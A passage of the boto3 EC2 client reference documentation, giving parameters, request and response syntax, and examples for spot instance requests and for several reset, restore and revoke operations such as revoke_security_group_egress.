BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the instance is optimized for EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + Default: false + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + + * **ImageId** _(string) --_ + + The ID of the AMI. + + * **InstanceType** _(string) --_ + + The instance type. + + * **KernelId** _(string) --_ + + The ID of the kernel. + + * **KeyName** _(string) --_ + + The name of the key pair. + + * **NetworkInterfaces** _(list) --_ + + One or more network interfaces. If you specify a network interface, you must specify subnet IDs and security group IDs using the network interface. + + * _(dict) --_ + + Describes a network interface. + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + * **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + * **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + * **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + * **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + * _(string) --_ + * **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + * **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + * **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + + * **Placement** _(dict) --_ + + The placement information for the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + \[Spot Fleet only\] To specify multiple Availability Zones, separate them using commas; for example, "us-west-2a, us-west-2b". + + * **GroupName** _(string) --_ + + The name of the placement group. + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for Spot Instances. + + * **RamdiskId** _(string) --_ + + The ID of the RAM disk. + + * **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instance. + + * **Monitoring** _(dict) --_ + + Describes the monitoring of an instance. + + * **Enabled** _(boolean) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + * **LaunchedAvailabilityZone** _(string) --_ + + The Availability Zone in which the request is launched. + + * **ProductDescription** _(string) --_ + + The product description associated with the Spot Instance. + + * **SpotInstanceRequestId** _(string) --_ + + The ID of the Spot Instance request. + + * **SpotPrice** _(string) --_ + + The maximum price per hour that you are willing to pay for a Spot Instance. + + * **State** _(string) --_ + + The state of the Spot Instance request. Spot status information helps track your Spot Instance requests. For more information, see [Spot status](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-bid-status.html) in the _Amazon EC2 User Guide for Linux Instances_ . + + * **Status** _(dict) --_ + + The status code and status message describing the Spot Instance request. + + * **Code** _(string) --_ + + The status code. For a list of status codes, see [Spot status codes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-bid-status.html#spot-instance-bid-status-understand) in the _Amazon EC2 User Guide for Linux Instances_ . + + * **Message** _(string) --_ + + The description for the status code. + + * **UpdateTime** _(datetime) --_ + + The date and time of the most recent status update, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T\*HH\* :_MM_ :_SS_ Z). + + * **Tags** _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **Type** _(string) --_ + + The Spot Instance request type. + + * **ValidFrom** _(datetime) --_ + + The start date of the request, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T\*HH\* :_MM_ :_SS_ Z). The request becomes active at this date and time. + + * **ValidUntil** _(datetime) --_ + + The end date of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T\*HH\* :_MM_ :_SS_ Z). + + * For a persistent request, the request remains active until the validUntil date and time is reached. Otherwise, the request remains active until you cancel it. + * For a one-time request, the request remains active until all instances launch, the request is canceled, or the validUntil date and time is reached. By default, the request is valid for 7 days from the date the request was created. + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. + + +**Examples** + +This example creates a one-time Spot Instance request for five instances in the specified Availability Zone. If your account supports EC2-VPC only, Amazon EC2 launches the instances in the default subnet of the specified Availability Zone. If your account supports EC2-Classic, Amazon EC2 launches the instances in EC2-Classic in the specified Availability Zone. + +response \= client.request\_spot\_instances( + InstanceCount\=5, + LaunchSpecification\={ + 'IamInstanceProfile': { + 'Arn': 'arn:aws:iam::123456789012:instance-profile/my-iam-role', + }, + 'ImageId': 'ami-1a2b3c4d', + 'InstanceType': 'm3.medium', + 'KeyName': 'my-key-pair', + 'Placement': { + 'AvailabilityZone': 'us-west-2a', + }, + 'SecurityGroupIds': \[ + 'sg-1a2b3c4d', + \], + }, + SpotPrice\='0.03', + Type\='one-time', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example command creates a one-time Spot Instance request for five instances in the specified subnet. Amazon EC2 launches the instances in the specified subnet. If the VPC is a nondefault VPC, the instances do not receive a public IP address by default. + +response \= client.request\_spot\_instances( + InstanceCount\=5, + LaunchSpecification\={ + 'IamInstanceProfile': { + 'Arn': 'arn:aws:iam::123456789012:instance-profile/my-iam-role', + }, + 'ImageId': 'ami-1a2b3c4d', + 'InstanceType': 'm3.medium', + 'SecurityGroupIds': \[ + 'sg-1a2b3c4d', + \], + 'SubnetId': 'subnet-1a2b3c4d', + }, + SpotPrice\='0.050', + Type\='one-time', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +reset\_ebs\_default\_kms\_key\_id(_\*\*kwargs_) + +Resets the default customer master key (CMK) for EBS encryption for your account in this Region to the AWS managed CMK for EBS. + +After resetting the default CMK to the AWS managed CMK, you can continue to encrypt by a customer managed CMK by specifying it when you create the volume. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetEbsDefaultKmsKeyId) + +**Request Syntax** + +response \= client.reset\_ebs\_default\_kms\_key\_id( + DryRun\=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'KmsKeyId': 'string' +} + +**Response Structure** + +* _(dict) --_ + * **KmsKeyId** _(string) --_ + + The Amazon Resource Name (ARN) of the default CMK for EBS encryption by default. + + +reset\_fpga\_image\_attribute(_\*\*kwargs_) + +Resets the specified attribute of the specified Amazon FPGA Image (AFI) to its default value. You can only reset the load permission attribute. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetFpgaImageAttribute) + +**Request Syntax** + +response \= client.reset\_fpga\_image\_attribute( + DryRun\=True|False, + FpgaImageId\='string', + Attribute\='loadPermission' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **FpgaImageId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the AFI. + +* **Attribute** (_string_) -- The attribute. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Is true if the request succeeds, and an error otherwise. + + +reset\_image\_attribute(_\*\*kwargs_) + +Resets an attribute of an AMI to its default value. + +Note + +The productCodes attribute can't be reset. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetImageAttribute) + +**Request Syntax** + +response \= client.reset\_image\_attribute( + Attribute\='launchPermission', + ImageId\='string', + DryRun\=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **\[REQUIRED\]** + + The attribute to reset (currently you can only reset the launch permission attribute). + +* **ImageId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the AMI. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example resets the launchPermission attribute for the specified AMI. By default, AMIs are private. + +response \= client.reset\_image\_attribute( + Attribute\='launchPermission', + ImageId\='ami-5731123e', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +reset\_instance\_attribute(_\*\*kwargs_) + +Resets an attribute of an instance to its default value. To reset the kernel or ramdisk , the instance must be in a stopped state. To reset the sourceDestCheck , the instance can be either running or stopped. + +The sourceDestCheck attribute controls whether source/destination checking is enabled. The default value is true , which means checking is enabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetInstanceAttribute) + +**Request Syntax** + +response \= client.reset\_instance\_attribute( + Attribute\='instanceType'|'kernel'|'ramdisk'|'userData'|'disableApiTermination'|'instanceInitiatedShutdownBehavior'|'rootDeviceName'|'blockDeviceMapping'|'productCodes'|'sourceDestCheck'|'groupSet'|'ebsOptimized'|'sriovNetSupport'|'enaSupport'|'enclaveOptions', + DryRun\=True|False, + InstanceId\='string' +) + +Parameters + +* **Attribute** (_string_) -- + + **\[REQUIRED\]** + + The attribute to reset. + + Warning + + You can only reset the following attributes: kernel | ramdisk | sourceDestCheck . To change an instance attribute, use ModifyInstanceAttribute . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the instance. + + +Returns + +None + +**Examples** + +This example resets the sourceDestCheck attribute for the specified instance. + +response \= client.reset\_instance\_attribute( + Attribute\='sourceDestCheck', + InstanceId\='i-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +reset\_network\_interface\_attribute(_\*\*kwargs_) + +Resets a network interface attribute. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetNetworkInterfaceAttribute) + +**Request Syntax** + +response \= client.reset\_network\_interface\_attribute( + DryRun\=True|False, + NetworkInterfaceId\='string', + SourceDestCheck\='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the network interface. + +* **SourceDestCheck** (_string_) -- The source/destination checking attribute. Resets the value to true . + +Returns + +None + +reset\_snapshot\_attribute(_\*\*kwargs_) + +Resets permission settings for the specified snapshot. + +For more information about modifying snapshot permissions, see [Sharing snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetSnapshotAttribute) + +**Request Syntax** + +response \= client.reset\_snapshot\_attribute( + Attribute\='productCodes'|'createVolumePermission', + SnapshotId\='string', + DryRun\=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **\[REQUIRED\]** + + The attribute to reset. Currently, only the attribute for permission to create volumes can be reset. + +* **SnapshotId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the snapshot. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example resets the create volume permissions for snapshot snap-1234567890abcdef0. If the command succeeds, no output is returned. + +response \= client.reset\_snapshot\_attribute( + Attribute\='createVolumePermission', + SnapshotId\='snap-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +restore\_address\_to\_classic(_\*\*kwargs_) + +Restores an Elastic IP address that was previously moved to the EC2-VPC platform back to the EC2-Classic platform. You cannot move an Elastic IP address that was originally allocated for use in EC2-VPC. The Elastic IP address must not be associated with an instance or network interface. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RestoreAddressToClassic) + +**Request Syntax** + +response \= client.restore\_address\_to\_classic( + DryRun\=True|False, + PublicIp\='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PublicIp** (_string_) -- + + **\[REQUIRED\]** + + The Elastic IP address. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'PublicIp': 'string', + 'Status': 'MoveInProgress'|'InVpc'|'InClassic' +} + +**Response Structure** + +* _(dict) --_ + + * **PublicIp** _(string) --_ + + The Elastic IP address. + + * **Status** _(string) --_ + + The move status for the IP address. + + +**Examples** + +This example restores the specified Elastic IP address to the EC2-Classic platform. + +response \= client.restore\_address\_to\_classic( + PublicIp\='198.51.100.0', +) + +print(response) + +Expected Output: + +{ + 'PublicIp': '198.51.100.0', + 'Status': 'MoveInProgress', + 'ResponseMetadata': { + '...': '...', + }, +} + +restore\_managed\_prefix\_list\_version(_\*\*kwargs_) + +Restores the entries from a previous version of a managed prefix list to a new version of the prefix list. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RestoreManagedPrefixListVersion) + +**Request Syntax** + +response \= client.restore\_managed\_prefix\_list\_version( + DryRun\=True|False, + PrefixListId\='string', + PreviousVersion\=123, + CurrentVersion\=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PrefixListId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the prefix list. + +* **PreviousVersion** (_integer_) -- + + **\[REQUIRED\]** + + The version to restore. + +* **CurrentVersion** (_integer_) -- + + **\[REQUIRED\]** + + The current version number for the prefix list. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'PrefixList': { + 'PrefixListId': 'string', + 'AddressFamily': 'string', + 'State': 'create-in-progress'|'create-complete'|'create-failed'|'modify-in-progress'|'modify-complete'|'modify-failed'|'restore-in-progress'|'restore-complete'|'restore-failed'|'delete-in-progress'|'delete-complete'|'delete-failed', + 'StateMessage': 'string', + 'PrefixListArn': 'string', + 'PrefixListName': 'string', + 'MaxEntries': 123, + 'Version': 123, + 'Tags': \[ + { + 'Key': 'string', + 'Value': 'string' + }, + \], + 'OwnerId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **PrefixList** _(dict) --_ + + Information about the prefix list. + + * **PrefixListId** _(string) --_ + + The ID of the prefix list. + + * **AddressFamily** _(string) --_ + + The IP address version. + + * **State** _(string) --_ + + The state of the prefix list. + + * **StateMessage** _(string) --_ + + The state message. + + * **PrefixListArn** _(string) --_ + + The Amazon Resource Name (ARN) for the prefix list. + + * **PrefixListName** _(string) --_ + + The name of the prefix list. + + * **MaxEntries** _(integer) --_ + + The maximum number of entries for the prefix list. + + * **Version** _(integer) --_ + + The version of the prefix list. + + * **Tags** _(list) --_ + + The tags for the prefix list. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **OwnerId** _(string) --_ + + The ID of the owner of the prefix list. + + +revoke\_client\_vpn\_ingress(_\*\*kwargs_) + +Removes an ingress authorization rule from a Client VPN endpoint. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RevokeClientVpnIngress) + +**Request Syntax** + +response \= client.revoke\_client\_vpn\_ingress( + ClientVpnEndpointId\='string', + TargetNetworkCidr\='string', + AccessGroupId\='string', + RevokeAllGroups\=True|False, + DryRun\=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the Client VPN endpoint with which the authorization rule is associated. + +* **TargetNetworkCidr** (_string_) -- + + **\[REQUIRED\]** + + The IPv4 address range, in CIDR notation, of the network for which access is being removed. + +* **AccessGroupId** (_string_) -- The ID of the Active Directory group for which to revoke access. +* **RevokeAllGroups** (_boolean_) -- Indicates whether access should be revoked for all clients. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Status': { + 'Code': 'authorizing'|'active'|'failed'|'revoking', + 'Message': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Status** _(dict) --_ + + The current state of the authorization rule. + + * **Code** _(string) --_ + + The state of the authorization rule. + + * **Message** _(string) --_ + + A message about the status of the authorization rule, if applicable. + + +revoke\_security\_group\_egress(_\*\*kwargs_) + +\[VPC only\] Removes the specified egress rules from a security group for EC2-VPC. This action does not apply to security groups for use in EC2-Classic. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + +Note + +\[Default VPC\] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + +AWS recommends that you use DescribeSecurityGroups to verify that the rule has been removed. + +Each rule consists of the protocol and the IPv4 or IPv6 CIDR range or source security group. For the TCP and UDP protocols, you must also specify the destination port or range of ports. For the ICMP protocol, you must also specify the ICMP type and code. If the security group rule has a description, you do not have to specify the description to revoke the rule. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RevokeSecurityGroupEgress) + +**Request Syntax** + +response \= client.revoke\_security\_group\_egress( + DryRun\=True|False, + GroupId\='string', + IpPermissions\=\[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': \[ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + \], + 'Ipv6Ranges': \[ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + \], + 'PrefixListIds': \[ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + \], + 'ToPort': 123, + 'UserIdGroupPairs': \[ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + \] + }, + \], + CidrIp\='string', + FromPort\=123, + IpProtocol\='string', + ToPort\=123, + SourceSecurityGroupName\='string', + SourceSecurityGroupOwnerId\='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **GroupId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the security group. + +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a destination security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of \-1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + \[VPC only\] Use \-1 to specify all protocols. When authorizing security group rules, specifying \-1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=&;{}!$\* + + * **Ipv6Ranges** _(list) --_ + + \[VPC only\] The IPv6 ranges. + + * _(dict) --_ + + \[EC2-VPC only\] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=&;{}!$\* + + * **PrefixListIds** _(list) --_ + + \[VPC only\] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=;{}!$\* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of \-1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=;{}!$\* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + \[EC2-Classic\] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **CidrIp** (_string_) -- Not supported. Use a set of IP permissions to specify the CIDR. +* **FromPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **IpProtocol** (_string_) -- Not supported. Use a set of IP permissions to specify the protocol name or number. +* **ToPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **SourceSecurityGroupName** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. +* **SourceSecurityGroupOwnerId** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False, + 'UnknownIpPermissions': \[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': \[ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + \], + 'Ipv6Ranges': \[ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + \], + 'PrefixListIds': \[ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + \], + 'ToPort': 123, + 'UserIdGroupPairs': \[ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + \] + }, + \] +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, returns an error. + + * **UnknownIpPermissions** _(list) --_ + + The outbound rules that were unknown to the service. In some cases, unknownIpPermissionSet might be in a different format from the request parameter. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of \-1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + \[VPC only\] Use \-1 to specify all protocols. When authorizing security group rules, specifying \-1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, 